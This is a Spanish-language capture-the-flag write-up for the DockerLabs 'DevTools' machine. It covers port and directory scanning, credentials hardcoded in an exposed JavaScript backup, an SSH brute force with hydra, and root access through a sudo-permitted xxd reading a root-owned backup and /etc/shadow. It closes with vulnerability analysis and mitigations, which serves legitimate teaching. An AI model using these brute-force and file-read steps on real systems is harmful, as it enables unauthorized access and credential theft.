DevTools
Introducción
Sección titulada «Introducción»Este documento detalla la metodología y procedimiento completo para comprometer la máquina DevTools, desarrollada por El Pingüino de Mario para DockerLabs y clasificada con dificultad Media. Esta máquina se centra en la explotación de información expuesta en herramientas de desarrollo web y el abuso de configuraciones inseguras de sudo.
La resolución sigue una metodología estructurada:
- Reconocimiento: Enumeración de servicios y descubrimiento de archivos de desarrollo expuestos.
- Explotación: Extracción de credenciales de archivos JavaScript y ataque de fuerza bruta dirigido.
- Escalada de privilegios: Abuso de privilegios sudo para leer archivos confidenciales y obtener credenciales root.
El entorno de prueba fue desplegado localmente mediante DockerLabs, simulando un escenario común donde archivos de desarrollo son expuestos accidentalmente.
Información Técnica
Sección titulada «Información Técnica»| Atributo | Valor |
|---|---|
| Nombre | DevTools |
| Autor | El Pingüino de Mario |
| Dificultad | Medio |
| Fecha | 21/12/2024 |
| Plataforma | DockerLabs |
| IP Objetivo | 172.17.0.2 |
Fase 1 — Despliegue y Configuración
Sección titulada «Fase 1 — Despliegue y Configuración»1.1 Preparación del Entorno
Sección titulada «1.1 Preparación del Entorno»Descomprimimos el archivo de la máquina y la desplegamos:
unzip DevTools.zipsudo bash auto_deploy.sh DevTools.tar
Figura 1: Dirección IP asignada al contenedor
1.2 Organización del Workspace
Sección titulada «1.2 Organización del Workspace»Creamos una estructura organizada para documentar el proceso:
mkdir -p DevTools/{content,exploits,nmap,gobuster,scripts}cd DevToolsFase 2 — Reconocimiento
Sección titulada «Fase 2 — Reconocimiento»2.1 Escaneo de Puertos
Sección titulada «2.1 Escaneo de Puertos»Ejecutamos un escaneo TCP SYN para identificar servicios expuestos:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsResultados:
- 22/tcp — SSH (Secure Shell)
- 80/tcp — HTTP (Web Server)

Figura 2: Servicios expuestos en la máquina
2.2 Análisis del Servicio Web
Sección titulada «2.2 Análisis del Servicio Web»Realizamos un escaneo exhaustivo de directorios:
feroxbuster -u http://172.17.0.2 -d 0 \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \ -x php,txt,html,js,bak,old \ -t 40 \ -C 404,403
Figura 3: Directorios y archivos descubiertos
2.3 Enumeración de Contenido Web
Sección titulada «2.3 Enumeración de Contenido Web»-
/index — Página principal sobre herramientas de desarrollo
Figura 4: Página principal que no carga correctamente el JavaScript
-
/backupp.js — Archivo JavaScript de backup expuesto
Figura 5: Archivo JavaScript con credenciales hardcodeadas
2.4 Análisis del Archivo JavaScript
Sección titulada «2.4 Análisis del Archivo JavaScript»El archivo /backupp.js contiene información crítica:
// Fragmento relevante del archivolet user = "chocolate";let password = "chocolate";let old_password = "baluleroh";Hallazgos importantes:
- Credenciales activas:
chocolate:chocolate - Contraseña antigua:
baluleroh - Posible reutilización de contraseñas entre usuarios
Fase 3 — Acceso Inicial
Sección titulada «Fase 3 — Acceso Inicial»3.1 Pruebas de Autenticación Directa
Sección titulada «3.1 Pruebas de Autenticación Directa»Probamos las credenciales descubiertas:
# Intento de conexión SSH con credenciales del JavaScriptssh chocolate@172.17.0.2# Contraseña: chocolateResultado: Las credenciales chocolate:chocolate no son válidas para SSH.
3.2 Ataque de Fuerza Bruta Dirigido
Sección titulada «3.2 Ataque de Fuerza Bruta Dirigido»Utilizando la contraseña antigua baluleroh y suponiendo reutilización, realizamos un ataque dirigido:
# Creación de lista de usuarios comunesecho -e "chocolate\ncarlos\nadmin\nroot\ndeveloper\ntest\nuser" > usuarios.txt
# Ataque de fuerza bruta con hydrahydra -L usuarios.txt -p baluleroh ssh://172.17.0.2 -I -t 64
Figura 6: Credenciales SSH comprometidas
Credenciales obtenidas: carlos:baluleroh
3.3 Conexión SSH
Sección titulada «3.3 Conexión SSH»Nos conectamos al sistema:
ssh carlos@172.17.0.2
Figura 7: Acceso SSH como usuario carlos
Fase 4 — Escalada de Privilegios
Sección titulada «Fase 4 — Escalada de Privilegios»4.1 Enumeración del Sistema
Sección titulada «4.1 Enumeración del Sistema»Una vez dentro, comenzamos la enumeración:
whoamiidpwdls -la4.2 Análisis del Archivo de Notas
Sección titulada «4.2 Análisis del Archivo de Notas»Encontramos un archivo interesante en el home directory:
cat nota.txt
Figura 8: Nota que revela existencia de backup
Información clave: Existe un backup en /root/data.bak que podría contener información sensible.
4.3 Verificación de Privilegios Sudo
Sección titulada «4.3 Verificación de Privilegios Sudo»Verificamos qué comandos podemos ejecutar con privilegios elevados:
sudo -l
Figura 9: Comandos permitidos con sudo
Hallazgos:
pingpuede ejecutarse como root sin contraseñaxxdpuede ejecutarse como root sin contraseña
4.4 De carlos → Lectura de Archivo Root
Sección titulada «4.4 De carlos → Lectura de Archivo Root»Aprovechamos los privilegios de xxd para leer el archivo de backup:
# Usamos xxd para leer el archivo y luego revertir la salida hexsudo xxd /root/data.bak | xxd -rAlternativa más eficiente:
sudo xxd -p /root/data.bak | xxd -p -r
Figura 10: Credenciales root obtenidas del backup
Credenciales root descubiertas: root:jsx^^462
4.5 De carlos → root
Sección titulada «4.5 De carlos → root»Utilizamos las credenciales obtenidas para acceder como root:
su root# Contraseña: jsx^^462
Figura 11: Shell como usuario root
Verificación final:
idwhoamicat /etc/shadow # Solo para demostración de acceso completoAnálisis de Vulnerabilidades
Sección titulada «Análisis de Vulnerabilidades»5.1 Fallos de Seguridad Identificados
Sección titulada «5.1 Fallos de Seguridad Identificados»| Vulnerabilidad | Severidad | Impacto | CWE/Referencia |
|---|---|---|---|
| Archivos de desarrollo expuestos públicamente | Alta | Exposición de credenciales | CWE-530 |
| Hardcoding de credenciales en JavaScript | Crítica | Acceso comprometido | CWE-798 |
| Reutilización de contraseñas entre usuarios | Alta | Escalada de ataque | CWE-521 |
| Configuración insegura de sudo (xxd) | Crítica | Lectura de archivos privilegiados | CWE-269 |
| Backup de datos sensibles en ubicación accesible | Media | Exposición de información | CWE-530 |
| Falta de rotación de contraseñas | Media | Ataques históricos efectivos | CWE-263 |
5.2 Recomendaciones de Mitigación
Sección titulada «5.2 Recomendaciones de Mitigación»-
Gestión de Archivos de Desarrollo:
- Excluir archivos de desarrollo (.js, .bak, .old) del directorio web público
- Implementar reglas en el servidor web para bloquear acceso a extensiones sensibles
- Utilizar .gitignore y .htaccess apropiadamente
- Realizar auditorías periódicas de archivos expuestos
-
Gestión de Credenciales:
- Eliminar hardcoding de credenciales en código fuente
- Utilizar variables de entorno o sistemas de gestión de secretos
- Implementar políticas de no reutilización de contraseñas
- Rotar contraseñas regularmente, especialmente después de exposición
-
Configuración de Sudo:
- Revisar y minimizar privilegios sudo concedidos
- Evitar comandos genéricos como
xxdque permiten lectura arbitraria - Implementar reglas específicas en lugar de permisos amplios
Ventana de terminal # INCORRECTOcarlos ALL=(ALL) NOPASSWD: /usr/bin/xxd# CORRECTO (si es necesario)carlos ALL=(ALL) NOPASSWD: /usr/bin/xxd /var/log/* -
Protección de Backups:
- Almacenar backups en ubicaciones seguras con permisos restringidos
- Encriptar archivos de backup que contengan información sensible
- Implementar controles de acceso basados en roles
- Auditar regularmente ubicaciones de archivos de backup
-
Monitoreo y Auditoría:
- Implementar logging de accesos SSH fallidos y exitosos
- Configurar alertas para múltiples intentos de autenticación
- Monitorear ejecución de comandos con privilegios elevados
- Realizar revisiones periódicas de configuración de seguridad
-
Hardening del Servidor Web:
- Configurar cabeceras de seguridad adecuadas
- Deshabilitar listado de directorios
- Implementar WAF (Web Application Firewall)
- Realizar escaneos de vulnerabilidades regularmente